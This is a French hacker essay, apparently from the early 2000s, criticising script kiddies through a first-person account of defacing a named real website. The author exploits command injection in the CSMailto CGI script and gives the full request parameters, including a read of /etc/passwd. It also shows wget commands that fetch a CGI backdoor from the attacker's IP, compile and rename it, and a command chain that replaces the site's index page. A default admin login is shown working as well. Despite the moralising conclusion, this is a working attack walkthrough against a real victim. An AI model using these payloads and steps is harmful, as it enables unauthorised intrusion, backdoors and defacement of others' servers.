La triste réalité sur les scripts kiddies


Il y a pas mal de temps maintenant, alors que je commençais à apprendre qu'elles sont les différentes failles connues qu'utilisent les pirates, j'avais acheté le Windows News n°91 : "Pirates, la grande menace".
L'article était assez complet et décrivait bien les différents univers de l'underground informatique. Evidemment y'avait quelques conneries... mais pas trop
A un moment ils parlaient des Scripts Kiddies et le titre du chapitre était "Piratage, rien à voir avec le talent". L'article parlait de la faille unicode et de défaçages fait en moins de 2 minutes.
A l'époque, je m'étais dit "rien à voir avec le talent" ?? ils exagèrent un peu ça doit pas être aussi facile que ça !!

Pourtant ils avaient raison...
Voici comment j'ai défacé le site www.plionline.com en utilisant les techniques des Scripts Kiddies.


Trouver la faille
Là vous vous dites : koi ? Comment ça comment trouver la faille ? Commences d'abord par "Trouver le victime" !!!.
Ben en fait les SK (Script Kiddies) ne cherchent pas vraiment une victime spéciale. Ils connaissent une faille, à partir de là ils scannent des sites vulnérables et ils les défacent (t'as le bon et le mauvais hacker koi LoL). Plus sérieusement ce que je n'aime pas chez les scripts kiddies c leur manque d'éthique. Tout ce qu'il cherchent c'est être dans le top 50 de zone-h.org.

Ils défaçent sans se soucier de qui sont leurs victimes. Un exemple : les mecs ki on piratés Amnesty International, Greenpeace & Co pensent impressionner la scène en faisant celà mais tout ce qu'il réussissent à faire c'est impressionner leur petite soeur (encore faut-il quelle ait un QI plus faible, ce ki est pas gagné).
Bon revenu à nos moutons...
Moi la faille choisie c'est la faille CSMailto (version 1).
CSMailto c'est un script payant dévellopé par le site cgi-script.net.
Il permet d'envoyer par mail un formulaire que l'on a rempli (en quelque sorte c'est un form action=mailto:admin@site.com mais en cgi).
Comme tous les scripts de cgi-script il a beaucoup de fonctionnalités comme permettre à l'admin d'exécuter des commandes sur le serveur.
Comme tous les scripts de cgi-script il est bourré de failles de sécurité donc n'importe qui peut exécuter ces commandes.
Bien entendu tout se fait avec les droits du serveur.


Trouver une victime
Donc comment trouver des sites victimes vulnérables à une faille CGI ?
Le script est installé par défaut dans le rep /cgi-script/CSMailto/CSMailto.cgi et les formulaires dans /cgi-script/CSMailto/forms/
Pour trouver une simple recherche sur google suffit.
Le référencement est sans aucun doute le plus chiant.

G crée un fichier Excell (ben non pas avec OpenOffice : rapeller vous kon fait du script kidding) dans lequel j'ai mis les url des formulaires.
Ensuite j'ai récupéré les bannières des serveurs web de chaque site et j'ai tout mis dans le fichier Exell.
A partir de là... une centaine de sites peut-être vulnérables.
Je prends les victimes au hazard, la première qui marche je l'attaque.

Exploiter la victime
La première victime ke je trouve c'est www.plionline.com
Une vulnérabilité du script permet de s'envoyer un fichier du serveur ou d'exécuter une commande et de se mailer l'output. Donc g testé en m'envoyant le fichier /etc/passwd.
Pour que l'exploit marche plusieurs conditions doivent entrer en jeu. Tout d'abord il faut que la variable form-name qui est de type hidden dans le formulaire soit valide. Elle est simple à trouver puisque c'est le nom du formulaire sans l'extension.
Il faut aussi que les variables en gras dans le formulaire soit présentes lors de la requête.
De toute façon le formulaire est assez parlant sur les variables que l'on a oublié :

Par exemple on passe au script /cgi-script/CSMailto/CSMailto.cgi
les paramêtres suivants :
form-attachment=/etc/passwd&Email=sirius_black@imel.org&VEmail=sirius_black@imel.org&FirstName=a&LastName=a&Comments=a&
Address1=a&Adresse2=a&City=a&HomePhone=31337666&State=a&Country=a&payment=a&Zip=123&order=a&LibraryName=a&
previousversion=a&form-autoresponse=YES&command=mailform&form-name=application

On obtient :

<body bgcolor=#C0C0C0>
<script language=javascript>
alert("Error. Field Occupation is required");
history.back();
</script>

Dans ce cas il faut rajouter une variable Occupation.
Pour récupérer l'output d'une commande on utilise le pipe | :
CSMailto.cgi?form-attachment=/bin/cat%20/etc/passwd|&Email=sirius_black@imel.org&form-autoresponse=YES&command=mailform &form-name=application&....
Je reçoit effectivement le fichier qui contient entre autre la ligne

plionline:x:521:518::/home/plionline:/bin/bash
Donc les pass sont shadow. Le fichier passwd est assez grand car plionline n'est pas sur un serveur dédié mais sur le serveur d'un hébergeur commercial avec DNS & co.
Comme ça marche je balance des commandes. Tout se fait comme si on était dans le répertoire CSMailto (un pwd donne /home/www/plionline/cgi-script/CSMailto. Donc je fait des ls, ls .., ls ../../ etcaetera. Au bout d'un moment je recrée l'arborescence :

Profile_Reservation_Form.doc
Profile_Reservation_Form.pdf
Profile_Reservation_Form.txt
_private/
_vti_bin/
_vti_cnf/
_vti_inf.html
_vti_log/
_vti_pvt/
_vti_txt/
application.htm
apply-foot.htm
apply-head.htm
cgi-bin-oldzao/
cgi-script/
CSMailto/
CSMailto.cgi
MIME
README.txt
_vti_cnf
attach
bd
bd.1

color_selector.htm
export
forms/
_vti_cnf
application-ORIG.htm
application.htm
index.htm
test.htm
info.cgi
libs.cgi
setup.cgi
t
t_Form.htmt_List_Form.htm
t_Mailto_Form.htm
t_login.htm
t_show_links.htm
t_upload.htm
test.cgi
test.txt
text.txt
top.gif
u
_vti_cnf/
hax.htm
cgibin/
_vti_cnf/
apply.cgi
formmail.cgi
mailer.cgi
mailer_admin.cgi
mailer_cfg.cgi
mailer_setup.cgi
contact.htm
css_scripts/
_vti_cnf/
body.css
bookmark.js
cellhighlight.js
dull_mouseover.js
formfield-highlight.js
gradual_mo.js
link-iframe.js
popup.js
random.js
randompix.js
rollover.js
showdate.js
thought.js
toolbar.txt
tri-image-rollover.js
deposit.htm
faq.htm
faq.html
guestbook
images
index.htm
missing.html
new-apply.htm
new-contact.htm
new-options.htm
new-packet.htm
options.htm
packet.htm
packet_payment.htm
plionline-213x50.jpg
plionline-468x60.gif
plionline-88x31.gif
postinfo.html
realaudio
testimonials.htm
travel_services.htm
wusage/
wwwboard/

En rouge les trucs ki servent (ou qui peuvent servir) au défaçage, en vert les trucs marrants.
Le uname -a donne  : Linux stancehosting.propagation.net 2.4.20-ci #12 SMP Fri Dec 13 22:52:24 CST 2002 i686 unknown
On remarque aussi le repertoire wwwboard, on essaye le login/pass par défaut : WebAdmin:WebBoard
Evidemment ça marche. de tout évidence l'admin n'a rien à foutre de la sécurité.
Une fois ke j'ai l'arborescence je peux voir le contenu des fichiers en tappant l'url dans mon navigateur.
J'essaie donc quelques trucs...
Tiens un fichier html dans cgi-script/ kes qu'il fout là ?
Je demande la page avec mon browser et j'obtiens :


Ben tiens je suis pas le premier à défacer ce site !!! (ça restera dans ma mémoire ça). En fait l'admin a gardé un ancien défacage en souvenir, c plutôt sympa non ? on va lui en donner un autre :p
De même je demande bd et bd.1, je tombe sur deux progs au formats ELF dans lequel je vois les chaines "f0ul", "fuck you bitch!!!", "/bin/sh -i", "tcp" au milieu de caractères héxa.
Au cas où vous le sauriez pas les h4x0rs lab sont des hackers brésiliens dont les fondateurs sont USDL et f0ul, et les 5èmes du classement zone-h.
Et révélation : ils font tourner leurs backdoors sur le port 2323.
Mais je suis pas passé par là (en plus ça marchait pas). J'ai fait télécharger la backdoor gH-cgi. Comme son nom l'indique c'est une backdoor cgi :) donc indétectable au niveau des ports.
Pour celà j'ai passé au script la commande "/usr/bin/wget%20http://mon_ip/gH-cgi.c|"
Je vérifie que l'upload a réussi avec mon navigateur puis je compile : /usr/bin/make%20gH-cgi|
et je renomme : /bin/mv%20gH-cgi gH-cgi.cgi|
J'appelle la page, ma backdoor est fonctionnelle :)


J'avais essayé de modifier l'index sans mettre une backdoor mais ça a pas marché : l'index me renvoyait une page d'erreur en polonais (??).
Une fois la backdoor installé, ya plus besoin de donner le chemin complet des exécutables ; c'est plus facile :p
cd ../../;wget http://mon_ip/hacked.htm;mv hacked.htm index.htm;wget http://mon_ip/sb2.jpg (l'image ki va avec).

Je vérifie que ça a marché :

Ke fait le script kiddie ensuite ? il se jette sur www.zone-h.org pour référencer son hack.
Ca y est je suis dans les défaceurs du jour, au milieu d'une trentaine de défaçages de PsychoPhobia.
Si vous faites une recherche sur www.plionline.com sur zone-h vous verrez le défaçage des h4x0rs lab et le mien.

Conclusion
Qu'est ce que j'ai gagné ? rien !! A si g récupéré les sources des CGI histoire de les avoir gratos (Land Of The FREE powa !!)
Est-ce que c'était difficile ? non !!! Je peux même recommencer si ça me chante !! J'ai mis 2 backdoor, l'admin n'en a viré qu'une !!

Est-ce ke j'ai fait appel à mes compétences ? A part le fait qu'il faut passer le chemin complet des exécutables aux cgis, ya pas grand chose à savoir.
La backdoor ? récupérée sur packetstorm !! Ya juste besoin de savoir compiler !!
C'était marrant ? Non même pas !! c'était chiant à crever !!! Ya rien à voir sur ce site :p
Je comprends pas comment des mecs arrivent à s'enchainer tous ces défaçages à la suite !! Si encore y'avait une touche d'originalité ; mais non ils fouillent même pas le serveur, ils répétent les mêmes commandes à la suite et laissent un "single line defacement" c'est nul !! Au moins y'en a qui font preuve d'un peu d'originalité ou d'humour.
J'espère au moins qu'ils codent des tools qui font tout le travail à leur place sinon ils doivent se faire chier !! Ya même plus de plaisir à hacker !!

Si j'ai écrit ce texte ce n'est pas pour me vanter : ya aucune fierté à avoir défacé un site de cette façon.
Non si je l'ai écrit c principalement pour vous dire de ne pas tomber dans la facilité. On a tous révé d'être dans ce top 50 des pirates les plus "actifs" de la planète mais en réalité ils n'ont aucun mérite !!!
Réflechissez : quel est le vrai hacker : celui ki attaque des centaines de sites pris au hazard en utilisant des failles archies connues ou celui ki choisi sa victime et au boût d'un certain moment arrive à ses fins ? Retournez coder et participez à des challenges et tout ira bien ;)
En même temps si ce texte peut enlever des "comment on hacke un site" des forums et ben c'est pas plus mal :p
Certaines personnes ne vont pas aimer ce texte parce qu'elles se reconnaîtront, mais j'espère que ça permettra aux newbies de prendre la "bonne" direction :) Etre Script Kiddie c'est ne jamais progresser.

Par contre l'admin a eu une bonne intention : elle a viré le défaçage des h4x0rs lab et a gardé le mien : www.plionline.com/index1.html

PS : Cet article est dans sa deuxième version. La première étant trop technique par rapport au message à passer. J'avais par exemple codé un exploit à la con qui envoie des données avec la méthode POST. Mais franchement je ne pense pas qu'un script kiddie sache coder.

 

sirius_black